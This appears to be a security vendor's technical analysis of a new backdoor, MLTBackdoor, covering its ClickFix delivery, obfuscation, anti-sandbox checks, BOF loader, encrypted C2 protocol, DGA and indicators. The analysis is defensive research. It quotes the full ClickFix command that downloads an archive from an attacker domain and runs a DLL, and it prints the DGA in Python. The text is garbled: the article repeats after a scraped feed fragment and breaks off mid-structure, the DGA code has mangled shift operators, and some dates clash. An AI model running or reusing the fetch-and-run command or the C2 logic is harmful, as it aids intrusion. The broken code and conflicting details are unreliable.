IntroductionIn May 2026, Zscaler ThreatLabz identified a new malware family that we track as MLTBackdoor that is likely leveraged by a ransomware-related threat actor. MLTBackdoor has been observed by ThreatLabz being delivered in a multi-stage ClickFix infection chain. MTLBackdoor supports a set of commands like downloading and uploading files from the victim’s system. However, one of the most powerful features is the ability to load Beacon Object Files (BOFs) to expand its capabilities.In this blog post, ThreatLabz provides a technical analysis of MLTBackdoor, including its core features, configuration, obfuscation, network communication protocol, and capabilities. Key TakeawaysIn May 2026, ThreatLabz identified a new malware family, MLTBackdoor, likely used in ransomware attacks to establish a foothold for lateral movement.MLTBackdoor is heavily obfuscated using both Mixed Boolean-Arithmetic (MBA) and Control Flow Flattening (CFF) techniques.MLTBackdoor also employs different tricks to thwart analysis, making static and dynamic analysis harder.MLTBackdoor makes use of a domain generation algorithm (DGA) to avoid losing contact when the hardcoded command-and-control (C2) domains are unreachable.MLTBackdoor has various filesystem related commands available and features a BOF loader designed to dynamically add new capabilities. Technical AnalysisIn the following sections, ThreatLabz examines the technical details of MLTBackdoor, including its obfuscation methods, anti-analysis techniques, network protocol, and supported commands.Initial infection chainThe infection chain begins with a ClickFix lure on an automotive-related web page. If the victim copies, pastes, and executes the ClickFix content, the following commands are executed:”C:WINDOWSsystem32conhost.exe” –headless cmd /c “md C:users<usr>AppDataLocalTempx&curl -skLo C:users<usr>AppDataLocalTempxt hxxps://hrs2y15sungu[.]com/d&pushd C:users<usr>AppDataLocalTempx&tar xf t&del t&rundll32 endpointdlp.dll,#2″The downloaded file, retrieved from a domain that appears in that day’s domain DGA set (discussed later), is a compressed archive that contains the following files:data.binendpointdlp.dllThe endpointdlp.dll file decrypts the RC4-encrypted data.bin file, which contains the second stage of the infection chain. The decryption key is stored in its own header and has the following structure:struct mlt_payload_header
{
uint32_t payload_size;
uint8_t RC4_key[32];
uint8_t encrypted_payload[payload_size];
};The decrypted payload is the MLTBackdoor itself. It first performs a self-update, then reuses the endpointdlp.dll filename and sideloads it via a legitimate signed Microsoft Defender mpextms.exe executable.Obfuscation and API hashingMLTBackdoor hinders analysis by using indirect system calls and API hashing, along with different obfuscation methods applied at compilation time using an LLVM-based obfuscator. These methods are described in the following sections.Mixed Boolean-Arithmetic (MBA)The Mixed Boolean-Arithmetic (MBA) obfuscation technique takes a normal arithmetic expression like x + y and rewrites it as something mathematically equivalent but much more difficult to follow. For instance, the following figure shows part of the DGA function, where numerous mathematical operations are performed solely to add noise:Figure 1: MBA obfuscation in MLTBackdoor’s DGA function.A single increment turns into several lines. For example:v275 = 2 * (-163 * v248 – 164 * ~v248) – 328;
v276 = 22*(~v261&~v275) + 24*(v275&v261) + 23*(~v275&v261) + 23*(~v261&v275) + 22;
v277 = 28 * ~(-45*v276 – 46*~v276 – 46) + 29 * (-46*~v276 – 45*v276) – 1306;
v279 = -22*v248 – 22*~v248 – 22;But if we replace ~x with -x – 1 they collapse, as shown in the table below:ExpressionSimplifiedv275 = 2 * (-163 * v248 – 164 * ~v248) – 328;v275 = 2 * v248v276 = 22*(~v261&~v275) + 24*(v275&v261) + 23*(~v275&v261) + 23*(~v261&v275) + 22;v276 = v261 + v275v277 = 28 * ~(-45*v276 – 46*~v276 – 46) + 29 * (-46*~v276 – 45*v276) – 1306;v277 = v276v279 = -22*v248 – 22*~v248 – 22;v279 = 0Table 1: Simplified MLTBackdoor MBA examples.MLTBackdoor makes extensive use of this technique to the point that around 95% of its code is just extra, unnecessary calculations.Control Flow Flattening (CFF)MLTBackdoor also uses control flow flattening (CFF). CFF replaces every if/else block with a large while(1){ switch(state) { … }} structure, so a function ends up looking similar to the following figure:Figure 2: CFF obfuscation in MLTBackdoor’s command-handling function.This method essentially uses a few instructions to transform a straightforward function into something that is difficult to understand. The obfuscator shuffles blocks which obscures execution order with different state assignments.MLTBackdoor performs two additional steps to complicate analysis further:The state value is stored at stack offset + N (rsp+N) and is XOR’ed before each comparison.The calculation of the next state is wrapped in MBA.The pseudocode for these steps is shown in the figure below.Figure 3: Example of MLTBackdoor’s CFF state obfuscation and MBA.Stack stringsUnlike most malware families, string values are not encrypted or encoded. Instead the strings are constructed at runtime byte-by-byte on the stack. On its own, this isn’t particularly remarkable, but combined with MBA and CFF it results in fragmented strings. For example, the C2 string may be constructed by calling two functions and stitching them together as follows:Figure 4: MLTBackdoor stack-based strings constructed in two separate functions and concatenated together.Taken together, these routines construct the full cwrtwright[.]com C2 domain. However, because the string is built across a flattened state machine, the only reliable way to recover it is to trace the state transitions, defeating tools like FLOSS that look for consecutive characters in memory.API resolutionMLTBackdoor resolves everything at runtime (Win32 APIs, system calls, and Beacon Object File symbols) using DJB2 hashing.The main difference in MLTBackdoor’s API resolution is how it feeds the strings to the algorithm. ThreatLabz observed the following three cases:Normal WinAPI lookups: djb2(“WinHttpConnect”) → 0x7242C17DSame thing but in lower case: djb2(“enumwindows”)→ 0xDFAE1D05Prepending the word “Beacon” before hashing the string: djb2(“BeaconNtCreateFile”) → 0xFDC751A3Indirect system callsMany security products hook WinAPI functions to detect abnormal calls or activity. However, by skipping user mode APIs and the kernel32 wrappers around a system call and going directly to the address where the actual system call is made, it’s possible to evade detection. MLTBackdoor follows this approach using a Hell’s Gate-style technique in three steps:Startup builder: When first running, MLTBackdoor walks and matches ntdll exports against a list of 31 “Nt” hashes and builds a runtime table that looks like this:HashSSNSyscall Gadget Address0x15A5ECDB (NtCreateFile)0x550x7FFE12340A18 (ntdll + 0x9D2C8)………Table 2: Example MLTBackdoor system call table.Wrapper: When it needs to call a Windows API function, MLTBackdoor calls its own wrapper, looks up the provided hash in the table, and retrieves both the system service number (SSN) and the gadget address.Trampoline: Finally, MLTBackdoor jumps to the corresponding ntdll system call address, as shown in the figure below:Figure 5: MLTBackdoor indirect system call trampoline.The full list of kernel “Nt” functions is available in the Appendix.Anti-analysisMLTBackdoor includes multiple anti-analysis techniques to detect debuggers and sandboxed environments, but detection does not halt execution.Instead, MLTBackdoor aggregates the results of 10 distinct checks into a bitmask and sends it as part of its initial request, as described later in the Network communications section. The following table lists the checks and their associated flags:BitValueCheckDescription00x001Hypervisor check 1Checks whether the hypervisor bit is set; if so, queries leaf 0x40000000 to get the vendor ID and compares it against these values: VMwareVMware, VBoxVBoxVBox, XenVMMXenVMM and KVMKVMKVM.10x002Hypervisor check 2If there are no matches in the previous step and the vendor ID is anything else, including Microsoft HV, it checks whether leaf 0x40000003 has EBX[12] set, allowing Win10/11 hosts with Virtualization-Based Security (VBS) enabled to pass, otherwise it is also flagged20x004Timing checkPerforms a minimum of 5 RDTSC + CPUID + RDTSC loops to measure the number of cycles required, which can indicate emulation, virtualization, and debugging.30x008Debugger checkQueries NtQueryInformationProcess with the ProcessDebugPort ProcessInformationClass to detect a debugger.40x010Process checkIterates through all the names of the running processes, calculates the SHA256 hash, and compares it against a hardcoded list of hashes (the full list of cracked hashes is available in the Appendix).50x020Windows title checkCompares a list of stack-built strings (such as x64dbg, x32dbg, ollydbg, windbg, idapro, process monitor, process explorer, wireshark, fiddler, dnspy and cff explorer) to identify window titles retrieved by calling EnumWindows and GetWindowText.60x040Sandboxes drivers checkCompares drivers loaded with the following name list: vbox, vmci, vmhgfs, virtio, vioscsi, and xenbus.70x080RAM checkChecks if RAM is below 2GB.80x100CPU number checkChecks if the number of processors is 1.90x200Uptime checkChecks whether the uptime is less than 5 minutes.Table 3: MLTBackdoor anti-analysis checks and flags.CapabilitiesMLTBackdoor includes a small set of built-in commands:download: Grabs a file from the victim’s machine.upload: Drops a file on the victim’s machine.ls: Lists files in a directory.delete: Deletes a file or folder.rename: Renames or moves a file or folder.mkdir: Creates a new folder.What really increases MLTBackdoor’s capabilities, however, is the BOF loader functionality.Beacon Object File loaderA Beacon Object File (BOF) is a Microsoft Common Object File Format (MS-COFF) compiled file, containing sections, a symbol table, and relocations, that malware can map and execute within its own process, then free. Using BOFs for post-exploitation tasks was first popularized by Cobalt Strike, and there are now hundreds of community-made BOFs for a wide range of tasks.MLTBackdoor’s BOF dispatcher follows these steps:Creates one memory block per section.Walks the COFF symbol table.Applies relocations per section.Changes section permissions to read and execute (RX) only.Handles crashes and returns them as result.Locates the entry point in the symbol table.Removes and frees allocated memory.MLTBackdoor’s BOF loader is compatible with Cobalt Strike beacons that rely on the small subset of DJB2-hashed imports shown in the table below:DJB2 Hash Resolved Import0xE2494BA2BeaconDataParse0xAF1AFDD2BeaconDataInt0xE2835EF7BeaconDataShort0x22641D29BeaconDataLength0x80D46722BeaconDataExtract0x700D8660BeaconPrintf0x6DF4B81EBeaconOutputTable 4: MLTBackdoor BOF imports.What differentiates this BOF loader is that, in addition to the small set of imports above, it includes 19 additional cases that route calls to MLTBackdoor’s own indirect system call wrappers described in the previous sections. These are shown in the table below:DJB2 Hash Resolved System Call Wrapper0xA7AF9B14BeaconNtAllocateVirtualMemory0xB4C56190BeaconNtProtectVirtualMemory0xEAB1DBB1BeaconNtFreeVirtualMemory0xD9C35B05BeaconNtClose0xFDC751A3BeaconNtCreateFile0x880DE2E1BeaconNtOpenFile0xF4092DABBeaconNtReadFile0x4A37127ABeaconNtWriteFile0xF3C1F72BBeaconNtQueryInformationFile0x85066141BeaconNtSetInformationFile0xBF82EC3ABeaconNtQueryDirectoryFile0x31E64470BeaconNtQuerySystemInformation0x1BEC4F21BeaconNtOpenProcessToken0x6D017A0CBeaconNtQueryInformationToken0xD163364CBeaconNtCreateKey0xFC5D97CABeaconNtOpenKey0xE17B5121BeaconNtSetValueKey0x4BBA2AC8BeaconNtDeleteValueKey0x6AB423ABBeaconNtDeleteKeyTable 5: Indirect system calls beacon imports supported by MLTBackdoor.Network communicationMLTBackdoor uses a custom encrypted binary protocol over TLS on port 443 with a fixed path (/api/v1/telemetry) and User-Agent (Microsoft-Delivery-Optimization/10.1) to masquerade as legitimate traffic. Network communications are encrypted using an Elliptic-Curve Diffie-Hellman (ECDH) key exchange with NIST curve P‑256 to generate a shared secret. MLTBackdoor generates a new key-pair per session, and performs ECDH with a P‑256 public key shared by the C2 server. The result is concatenated to both the session’s public key and the C2 server’s public key, and then hashed with SHA256 to derive the shared secret, which is then used as an AES-256-GCM session key. All subsequent messages are then encrypted with this AES session key with a random 12 byte nonce.Some MLTBackdoor samples use hardcoded stack-built C2 domains in combination with a DGA, while others rely on either hardcoded domains or the DGA alone. The DGA is designed to maintain control of infected systems if the C2s are unreachable. An MLTBackdoor DGA script, including DGA domains through July 2025, is available in the ThreatLabz GitHub repository.Domain Generation Algorithm (DGA)MLTBackdoor’s DGA algorithm is a deterministic date-based algorithm that generates a new domain per day. The DGA algorithm is shown below in Python:def dga_domain(date) -> str:
LCG_MULT = 0x0019660D
LCG_INC = 0x3C6EF35F
MASK32 = (1 — 32) – 1
ALPHABET_SIZE = 36
LETTER_COUNT = 26
DOMAIN_LEN = 11
TLD = “.com”
seed = date.year * 10000 + date.month * 100 + date.day
state = (LCG_MULT * seed + LCG_INC) & MASK32
label = []
for _ in range(DOMAIN_LEN):
upper16 = state — 16
idx = upper16 % ALPHABET_SIZE
if idx < LETTER_COUNT:
label.append(chr(ord(‘a’) + idx))
else:
label.append(chr(ord(‘0’) + idx – LETTER_COUNT))
state = (LCG_MULT * state + LCG_INC) & MASK32
return “”.join(label) + TLDInterestingly, the domain created for April 29, 2026 (hrs2y15sungu[.]com) was used not only for C2 communication, but also used for the distribution campaign that day, as explained in the Initial infection chain section.MLT name originThreatLabz dubbed the name, MLTBackdoor, based on the first 4 magic bytes of the network communication protocol’s header. The header, which is present in every communication (client- and server-side) follows the structure below:struct mlt_packet_header
{
uint32_t magic;
uint32_t session_id;
uint32_t msg_type;
uint32_t payload_len;
uint8_t nonce[12];
uint8_t unknown[4];
};The magic bytes are 0x014D4C54 (or x01MLT). The session_id consists of 4 random bytes generated via BCryptGenRandom (regenerated on each handshake). The supported msg_type values are shown in the table below:DirectionMessage TypeDescriptionClient -> Server1Check-in containing host information.Server -> Client2Sends a BOF task.Server -> Client3Sends a sleep command.Server -> Client4Exit process.Client -> Server5Command execution result.Both directions6Elliptic-Curve Diffie–Hellman (ECDH) key exchange.Server -> Client 7Download file.Client -> Server8File data sent.Server -> Client9Upload file.Server -> Client10Unknown.Server -> Client11ls command.Client -> Server12Directory listing.Server -> Client13delete command.Server -> Client14rename command.Server -> Client15mkdir command.Client -> Server16BOF stdout.Table 6: MLTBackdoor protocol message types.As mentioned above, MLTBackdoor uses ECDH to generate a shared secret that is used as an AES session key. In order to perform the key exchange, MLTBackdoor first sends the session’s P-256 public key to the C2 server with the following structure:struct mlt_handshake_request
{
struct mlt_packet_header;
uint8_t client_p256_x[32];
uint8_t client_p256_y[32];
uint32_t anti_analysis_flags;
};Below, is an example message in this format:Figure 6: Example MLTBackdoor ECDH key exchange message.Once this key exchange is complete, MLTBackdoor uses the shared AES-256-GCM key to encrypt and decrypt subsequent messages. Each packet includes an encrypted payload immediately following the header, using the structure shown below:struct mlt_packet
{
struct mlt_packet_header;
uint8_t ciphertext[payload_len];
uint8_t aes_gcm_tag[16];
}; ConclusionDespite being relatively new, MLTBackdoor is already a formidable post-exploitation malware framework that provides filesystem access capabilities and expandable functionality with a BOF loader. Most MLTBackdoor binaries leverage CFF and MBA to complicate reverse engineering along with techniques to evade malware sandboxes and analysis environments. MLTBackdoor also uses a custom binary encrypted network protocol with a DGA for backup communications to hinder takedown attempts by researchers and law enforcement for additional resiliency. Zscaler CoverageZscaler’s multilayered cloud security platform detects indicators related to MLTBackdoor at various levels. The figure below depicts the Zscaler Cloud Sandbox, showing detection details for MLTBackdoor.Figure 8: Zscaler Cloud Sandbox Report for MLTBackdoor.In addition to sandbox detections, Zscaler’s multilayered cloud security platform detects indicators related to MLTBackdoor at various levels with the following threat names:Win64.Backdoor.MLTBackdoor Indicators Of Compromise (IOCs)SHA256Description1e41c7bfaa6aa3b93b6cc024274a10e33f3e12fe7c98c1db387ef8927f9d1984Stage one loader.46b2155c1e71b840d4b7a2e94410b89a61e2446523e6f497206d402eb02e0e93Archive with stage one loader and encrypted MLTBackdoor.9e52cc90cff150abe21f0a6440e86e0a99ff383b81061b96def8948e21d0ac66MLTBackdoor with domains and DGA.ced6b0f44410f6133ad63b61e04613a8b56cc3338d7b34497540e9541163e7ecMLTBackdoor DGA only.1d09357b6a096fdc35cd5c873eed15665d6b3c879d20c8cf01e6bca0005512cfMLTBackdoor DGA only.2cd88d5280a61714836f5f07a16df190911c5b952af2998dbbcda910b3b1c494MLTBackdoor domains only.d34e4038c5c80728f9648ba84833f69bc1ccea82e2e8e748b7b7f02fb687b92bMLTBackdoor update sideload archive. DomainDescriptionhrs2y15sungu[.]comDGA domain also used in the distribution campaign.carrolc[.]comMLTBackdoor C2.cwrtwright[.]comMLTBackdoor C2.thomphon[.]comMLTBackdoor C2.powwowski[.]com/payloads/update.zipMLTBackdoor update URL. AppendixDJB2 resolved hashes for Nt* API callsDJB2 HashNt* API0x6793C34CNtAllocateVirtualMemory0x082962C8NtProtectVirtualMemory0x471AA7E9NtFreeVirtualMemory0x95F3A792NtWriteVirtualMemory0xCB0C2130NtCreateThreadEx0xD034FC62NtQueryInformationProcess0xEE4F73A8NtQuerySystemInformation0x5003C058NtOpenProcess0x8B8E133DNtClose0x7EB77B17NtTraceControl0x308BE0D0NtSetContextThread0x9E0E1A44NtGetContextThread0x0A49084ANtDelayExecution0xC29C5019NtOpenFile0xD02E20D0NtCreateSection0x231F196ANtMapViewOfSection0x595014ADNtUnmapViewOfSection0x780A612CNtContinue0x7BD07459NtOpenProcessToken0x2CE5A244NtQueryInformationToken0xA9053F72NtQueryDirectoryFile0x15A5ECDBNtCreateFile0x2E979AE3NtReadFile0x5DBF4A84NtCreateKey0x4BB73E02NtOpenKey0xF52D5359NtSetValueKey0x1B63A200NtDeleteValueKey0xF71037E3NtDeleteKey0x4725F863NtQueryInformationFile0x6E88B479NtSetInformationFile0xD69326B2NtWriteFileCracked SHA256 hashes used to identify running processesSHA256Process Name9e8777661a1ad9c983f03060f0a04a3244daac8c3639b3eb1bbce29355bc6c10x64dbg.exee063358d88290c5d05d58594da341690024cf7fa57408a3874899f10e56d8bc8x32dbg.exe9c8384f93b9d347a716ea3e55b9a01250473f667b95d467126c048256b0049e9ollydbg.exeed80408eb9092301e628791e7a9a2e86c6f496a9afd7b56d7c1a1684b1b87251windbg.exe57cfa4cbf3d6cbd13973bbf0625bfa6d20677abb0a6e6bec9a6bf587799b56faida.exeb2e1f5aedb049092135e90c153f5bd386aa81cd2df355d90912dcba33c3176e5ida64.exed51ce268a585657226510586e47c58a47cee2f2bf2049008760c58dc4e6ba650procmon.exe75635009a00cb26d2f532ad974ede59785a18e4b30132a1f585108589394ba5aprocmon64.exea5a5b6257304eefe5212edfd8c0ad27f77357c5046a7acb8eb7ba72ed4bad9e0procexp.exe0ca2edf9982f58e63cc49ba69fb9a88762d1f220ed9482810b512d4add0f8f0bprocexp64.exeac66c2d47cdefb221822b9074c9810434e8da702a0694139aa9177557e6b292bwireshark.exed8f291a459c1acc53f9c8dccb1049bfe2d3b00c7a86d50542dc7fd7b0628ea6afiddler.exeab0541672b57cd3b7e8c973fb9fcbecd18b7fe14c1c2f571e7a2f2921919b500pestudio.exefe8557d454adc7a91162495628d269738b92b4b5d7e5d620fc3f38c27a9a41a7dnspy.exefc8649547ad0ece93ad82de75cb6b875be0873774de89b78546c9a66d2043087vmtoolsd.exe6870e3bbf2447c96d21682caf943cf31c2e8c21c8cfb91a5092eab1c9e5f19aevboxservice.exe0f7463aecc3920f9e2b32ab9d77861a9e69a3e8aa28d06b4602195623312331ddf5serv.exeb32461077b2e04145b87e9b5177a331dfd2248b81570aa96b9a302dffe643f70cffexplorer.exe687968b820fd7a6bedb03d644410c663b1720ad76519e2dcf98d61df498470dfautoruns.exe4c357a29b202b77e7db190d359ead2dfd3f8869c6808b96bfa8bee82525bb2a2tcpview.exe
[#item_full_content] [[{“value”:”IntroductionIn May 2026, Zscaler ThreatLabz identified a new malware family that we track as MLTBackdoor that is likely leveraged by a ransomware-related threat actor. MLTBackdoor has been observed by ThreatLabz being delivered in a multi-stage ClickFix infection chain. MTLBackdoor supports a set of commands like downloading and uploading files from the victim’s system. However, one of the most powerful features is the ability to load Beacon Object Files (BOFs) to expand its capabilities.In this blog post, ThreatLabz provides a technical analysis of MLTBackdoor, including its core features, configuration, obfuscation, network communication protocol, and capabilities. Key TakeawaysIn May 2026, ThreatLabz identified a new malware family, MLTBackdoor, likely used in ransomware attacks to establish a foothold for lateral movement.MLTBackdoor is heavily obfuscated using both Mixed Boolean-Arithmetic (MBA) and Control Flow Flattening (CFF) techniques.MLTBackdoor also employs different tricks to thwart analysis, making static and dynamic analysis harder.MLTBackdoor makes use of a domain generation algorithm (DGA) to avoid losing contact when the hardcoded command-and-control (C2) domains are unreachable.MLTBackdoor has various filesystem related commands available and features a BOF loader designed to dynamically add new capabilities. Technical AnalysisIn the following sections, ThreatLabz examines the technical details of MLTBackdoor, including its obfuscation methods, anti-analysis techniques, network protocol, and supported commands.Initial infection chainThe infection chain begins with a ClickFix lure on an automotive-related web page. If the victim copies, pastes, and executes the ClickFix content, the following commands are executed:”C:WINDOWSsystem32conhost.exe” –headless cmd /c “md C:users<usr>AppDataLocalTempx&curl -skLo C:users<usr>AppDataLocalTempxt hxxps://hrs2y15sungu[.]com/d&pushd C:users<usr>AppDataLocalTempx&tar xf t&del t&rundll32 endpointdlp.dll,#2″The downloaded file, retrieved from a domain that appears in that day’s domain DGA set (discussed later), is a compressed archive that contains the following files:data.binendpointdlp.dllThe endpointdlp.dll file decrypts the RC4-encrypted data.bin file, which contains the second stage of the infection chain. The decryption key is stored in its own header and has the following structure:struct mlt_payload_header
{
uint32_t payload_size;
uint8_t RC4_key[32];
uint8_t encrypted_payload[payload_size];
};The decrypted payload is the MLTBackdoor itself. It first performs a self-update, then reuses the endpointdlp.dll filename and sideloads it via a legitimate signed Microsoft Defender mpextms.exe executable.Obfuscation and API hashingMLTBackdoor hinders analysis by using indirect system calls and API hashing, along with different obfuscation methods applied at compilation time using an LLVM-based obfuscator. These methods are described in the following sections.Mixed Boolean-Arithmetic (MBA)The Mixed Boolean-Arithmetic (MBA) obfuscation technique takes a normal arithmetic expression like x + y and rewrites it as something mathematically equivalent but much more difficult to follow. For instance, the following figure shows part of the DGA function, where numerous mathematical operations are performed solely to add noise:Figure 1: MBA obfuscation in MLTBackdoor’s DGA function.A single increment turns into several lines. For example:v275 = 2 * (-163 * v248 – 164 * ~v248) – 328;
v276 = 22*(~v261&~v275) + 24*(v275&v261) + 23*(~v275&v261) + 23*(~v261&v275) + 22;
v277 = 28 * ~(-45*v276 – 46*~v276 – 46) + 29 * (-46*~v276 – 45*v276) – 1306;
v279 = -22*v248 – 22*~v248 – 22;But if we replace ~x with -x – 1 they collapse, as shown in the table below:ExpressionSimplifiedv275 = 2 * (-163 * v248 – 164 * ~v248) – 328;v275 = 2 * v248v276 = 22*(~v261&~v275) + 24*(v275&v261) + 23*(~v275&v261) + 23*(~v261&v275) + 22;v276 = v261 + v275v277 = 28 * ~(-45*v276 – 46*~v276 – 46) + 29 * (-46*~v276 – 45*v276) – 1306;v277 = v276v279 = -22*v248 – 22*~v248 – 22;v279 = 0Table 1: Simplified MLTBackdoor MBA examples.MLTBackdoor makes extensive use of this technique to the point that around 95% of its code is just extra, unnecessary calculations.Control Flow Flattening (CFF)MLTBackdoor also uses control flow flattening (CFF). CFF replaces every if/else block with a large while(1){ switch(state) { … }} structure, so a function ends up looking similar to the following figure:Figure 2: CFF obfuscation in MLTBackdoor’s command-handling function.This method essentially uses a few instructions to transform a straightforward function into something that is difficult to understand. The obfuscator shuffles blocks which obscures execution order with different state assignments.MLTBackdoor performs two additional steps to complicate analysis further:The state value is stored at stack offset + N (rsp+N) and is XOR’ed before each comparison.The calculation of the next state is wrapped in MBA.The pseudocode for these steps is shown in the figure below.Figure 3: Example of MLTBackdoor’s CFF state obfuscation and MBA.Stack stringsUnlike most malware families, string values are not encrypted or encoded. Instead the strings are constructed at runtime byte-by-byte on the stack. On its own, this isn’t particularly remarkable, but combined with MBA and CFF it results in fragmented strings. For example, the C2 string may be constructed by calling two functions and stitching them together as follows:Figure 4: MLTBackdoor stack-based strings constructed in two separate functions and concatenated together.Taken together, these routines construct the full cwrtwright[.]com C2 domain. However, because the string is built across a flattened state machine, the only reliable way to recover it is to trace the state transitions, defeating tools like FLOSS that look for consecutive characters in memory.API resolutionMLTBackdoor resolves everything at runtime (Win32 APIs, system calls, and Beacon Object File symbols) using DJB2 hashing.The main difference in MLTBackdoor’s API resolution is how it feeds the strings to the algorithm. ThreatLabz observed the following three cases:Normal WinAPI lookups: djb2(“WinHttpConnect”) → 0x7242C17DSame thing but in lower case: djb2(“enumwindows”)→ 0xDFAE1D05Prepending the word “Beacon” before hashing the string: djb2(“BeaconNtCreateFile”) → 0xFDC751A3Indirect system callsMany security products hook WinAPI functions to detect abnormal calls or activity. However, by skipping user mode APIs and the kernel32 wrappers around a system call and going directly to the address where the actual system call is made, it’s possible to evade detection. MLTBackdoor follows this approach using a Hell’s Gate-style technique in three steps:Startup builder: When first running, MLTBackdoor walks and matches ntdll exports against a list of 31 “Nt” hashes and builds a runtime table that looks like this:HashSSNSyscall Gadget Address0x15A5ECDB (NtCreateFile)0x550x7FFE12340A18 (ntdll + 0x9D2C8)………Table 2: Example MLTBackdoor system call table.Wrapper: When it needs to call a Windows API function, MLTBackdoor calls its own wrapper, looks up the provided hash in the table, and retrieves both the system service number (SSN) and the gadget address.Trampoline: Finally, MLTBackdoor jumps to the corresponding ntdll system call address, as shown in the figure below:Figure 5: MLTBackdoor indirect system call trampoline.The full list of kernel “Nt” functions is available in the Appendix.Anti-analysisMLTBackdoor includes multiple anti-analysis techniques to detect debuggers and sandboxed environments, but detection does not halt execution.Instead, MLTBackdoor aggregates the results of 10 distinct checks into a bitmask and sends it as part of its initial request, as described later in the Network communications section. The following table lists the checks and their associated flags:BitValueCheckDescription00x001Hypervisor check 1Checks whether the hypervisor bit is set; if so, queries leaf 0x40000000 to get the vendor ID and compares it against these values: VMwareVMware, VBoxVBoxVBox, XenVMMXenVMM and KVMKVMKVM.10x002Hypervisor check 2If there are no matches in the previous step and the vendor ID is anything else, including Microsoft HV, it checks whether leaf 0x40000003 has EBX[12] set, allowing Win10/11 hosts with Virtualization-Based Security (VBS) enabled to pass, otherwise it is also flagged20x004Timing checkPerforms a minimum of 5 RDTSC + CPUID + RDTSC loops to measure the number of cycles required, which can indicate emulation, virtualization, and debugging.30x008Debugger checkQueries NtQueryInformationProcess with the ProcessDebugPort ProcessInformationClass to detect a debugger.40x010Process checkIterates through all the names of the running processes, calculates the SHA256 hash, and compares it against a hardcoded list of hashes (the full list of cracked hashes is available in the Appendix).50x020Windows title checkCompares a list of stack-built strings (such as x64dbg, x32dbg, ollydbg, windbg, idapro, process monitor, process explorer, wireshark, fiddler, dnspy and cff explorer) to identify window titles retrieved by calling EnumWindows and GetWindowText.60x040Sandboxes drivers checkCompares drivers loaded with the following name list: vbox, vmci, vmhgfs, virtio, vioscsi, and xenbus.70x080RAM checkChecks if RAM is below 2GB.80x100CPU number checkChecks if the number of processors is 1.90x200Uptime checkChecks whether the uptime is less than 5 minutes.Table 3: MLTBackdoor anti-analysis checks and flags.CapabilitiesMLTBackdoor includes a small set of built-in commands:download: Grabs a file from the victim’s machine.upload: Drops a file on the victim’s machine.ls: Lists files in a directory.delete: Deletes a file or folder.rename: Renames or moves a file or folder.mkdir: Creates a new folder.What really increases MLTBackdoor’s capabilities, however, is the BOF loader functionality.Beacon Object File loaderA Beacon Object File (BOF) is a Microsoft Common Object File Format (MS-COFF) compiled file, containing sections, a symbol table, and relocations, that malware can map and execute within its own process, then free. Using BOFs for post-exploitation tasks was first popularized by Cobalt Strike, and there are now hundreds of community-made BOFs for a wide range of tasks.MLTBackdoor’s BOF dispatcher follows these steps:Creates one memory block per section.Walks the COFF symbol table.Applies relocations per section.Changes section permissions to read and execute (RX) only.Handles crashes and returns them as result.Locates the entry point in the symbol table.Removes and frees allocated memory.MLTBackdoor’s BOF loader is compatible with Cobalt Strike beacons that rely on the small subset of DJB2-hashed imports shown in the table below:DJB2 Hash Resolved Import0xE2494BA2BeaconDataParse0xAF1AFDD2BeaconDataInt0xE2835EF7BeaconDataShort0x22641D29BeaconDataLength0x80D46722BeaconDataExtract0x700D8660BeaconPrintf0x6DF4B81EBeaconOutputTable 4: MLTBackdoor BOF imports.What differentiates this BOF loader is that, in addition to the small set of imports above, it includes 19 additional cases that route calls to MLTBackdoor’s own indirect system call wrappers described in the previous sections. These are shown in the table below:DJB2 Hash Resolved System Call Wrapper0xA7AF9B14BeaconNtAllocateVirtualMemory0xB4C56190BeaconNtProtectVirtualMemory0xEAB1DBB1BeaconNtFreeVirtualMemory0xD9C35B05BeaconNtClose0xFDC751A3BeaconNtCreateFile0x880DE2E1BeaconNtOpenFile0xF4092DABBeaconNtReadFile0x4A37127ABeaconNtWriteFile0xF3C1F72BBeaconNtQueryInformationFile0x85066141BeaconNtSetInformationFile0xBF82EC3ABeaconNtQueryDirectoryFile0x31E64470BeaconNtQuerySystemInformation0x1BEC4F21BeaconNtOpenProcessToken0x6D017A0CBeaconNtQueryInformationToken0xD163364CBeaconNtCreateKey0xFC5D97CABeaconNtOpenKey0xE17B5121BeaconNtSetValueKey0x4BBA2AC8BeaconNtDeleteValueKey0x6AB423ABBeaconNtDeleteKeyTable 5: Indirect system calls beacon imports supported by MLTBackdoor.Network communicationMLTBackdoor uses a custom encrypted binary protocol over TLS on port 443 with a fixed path (/api/v1/telemetry) and User-Agent (Microsoft-Delivery-Optimization/10.1) to masquerade as legitimate traffic. Network communications are encrypted using an Elliptic-Curve Diffie-Hellman (ECDH) key exchange with NIST curve P‑256 to generate a shared secret. MLTBackdoor generates a new key-pair per session, and performs ECDH with a P‑256 public key shared by the C2 server. The result is concatenated to both the session’s public key and the C2 server’s public key, and then hashed with SHA256 to derive the shared secret, which is then used as an AES-256-GCM session key. All subsequent messages are then encrypted with this AES session key with a random 12 byte nonce.Some MLTBackdoor samples use hardcoded stack-built C2 domains in combination with a DGA, while others rely on either hardcoded domains or the DGA alone. The DGA is designed to maintain control of infected systems if the C2s are unreachable. An MLTBackdoor DGA script, including DGA domains through July 2025, is available in the ThreatLabz GitHub repository.Domain Generation Algorithm (DGA)MLTBackdoor’s DGA algorithm is a deterministic date-based algorithm that generates a new domain per day. The DGA algorithm is shown below in Python:def dga_domain(date) -> str:
LCG_MULT = 0x0019660D
LCG_INC = 0x3C6EF35F
MASK32 = (1 — 32) – 1
ALPHABET_SIZE = 36
LETTER_COUNT = 26
DOMAIN_LEN = 11
TLD = “.com”
seed = date.year * 10000 + date.month * 100 + date.day
state = (LCG_MULT * seed + LCG_INC) & MASK32
label = []
for _ in range(DOMAIN_LEN):
upper16 = state — 16
idx = upper16 % ALPHABET_SIZE
if idx < LETTER_COUNT:
label.append(chr(ord(‘a’) + idx))
else:
label.append(chr(ord(‘0’) + idx – LETTER_COUNT))
state = (LCG_MULT * state + LCG_INC) & MASK32
return “”.join(label) + TLDInterestingly, the domain created for April 29, 2026 (hrs2y15sungu[.]com) was used not only for C2 communication, but also used for the distribution campaign that day, as explained in the Initial infection chain section.MLT name originThreatLabz dubbed the name, MLTBackdoor, based on the first 4 magic bytes of the network communication protocol’s header. The header, which is present in every communication (client- and server-side) follows the structure below:struct mlt_packet_header
{
uint32_t magic;
uint32_t session_id;
uint32_t msg_type;
uint32_t payload_len;
uint8_t nonce[12];
uint8_t unknown[4];
